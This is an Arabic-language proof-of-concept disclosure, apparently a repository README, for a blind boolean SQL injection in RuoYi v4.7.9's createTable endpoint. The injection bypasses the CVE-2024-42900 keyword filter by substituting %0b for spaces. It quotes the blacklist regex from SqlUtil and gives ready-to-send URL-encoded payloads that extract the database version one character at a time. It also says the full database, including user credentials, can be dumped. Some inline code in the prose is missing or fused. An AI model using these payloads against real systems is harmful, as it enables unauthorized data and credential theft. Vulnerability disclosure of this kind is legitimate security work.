
استغلال إثبات المفهوم لحقن SQL أعمى لـ RuoYi v4.7.9، يتجاوز مرشح CVE-2024-42900 لتفريغ قواعد البيانات عبر حقن قائم على منطقي مصادق عليه.
اكتشفت ثغرة حقن SQL أعمى (Blind SQL Injection) في ميزة createTable في إطار العمل RuoYi Framework الإصدار v4.7.9. تتيح هذه الثغرة لمسؤول مُصادَق عليه تنفيذ أوامر SQL عشوائية عبر المعامل sql. وهي تمثل تجاوزًا لإصلاح CVE-2024-42900 نظرًا لأن مرشح حقن SQL في طريقة filterKeyword غير كافٍ، ويمكن تجاوز التعبير النمطي (regex) باستخدام %0b كبديل للمسافات.
المنتج: RuoYi Framework
الإصدار: ≤ 4.7.9
الرابط: [Ruoyi]
تم العثور على الثغرة في الملف https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java كما يلي. يعتمد التطبيق على كلمات مفتاحية في قائمة سوداء لتصفية هجمات حقن SQL، وهذا الأسلوب عرضة للتجاوز. في هذه الحالة، ولإصلاح CVE-2024-42900، تمت إضافة السلسلة إلى القائمة السوداء، لكن التطبيق لا يزال لا يحظر الحرف ، لذا يمكنني استخدامه لتفعيل حقن SQL عبر .
/*%0bselect%0bpublic class SqlUtil
{
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
// Note the space after 'select '
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
}
التعبير النمطي select يطابق select (متبوعًا بمسافة). ولا يطابق select%0b، وهو فاصل صالح في SQL.
/tool/gen/createTable)
sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
تنبيه: يجب تغيير اسم الجدول في استعلام CREATE بعد كل استعلام ناجح.
3. باستخدام حقن SQL المنطقي، يمكن استخراج البيانات باستخدام [poc] بلغة بايثون في هذا المستودع
الاستخدام

poc لاستخراج إصدار قاعدة البيانات

يمكن للمهاجم الذي يمتلك صلاحيات إدارية تفريغ قاعدة البيانات بالكامل، بما في ذلك بيانات اعتماد المستخدمين الآخرين وإعدادات النظام.
%0b.select بدلاً من select (أزل المسافة في النهاية)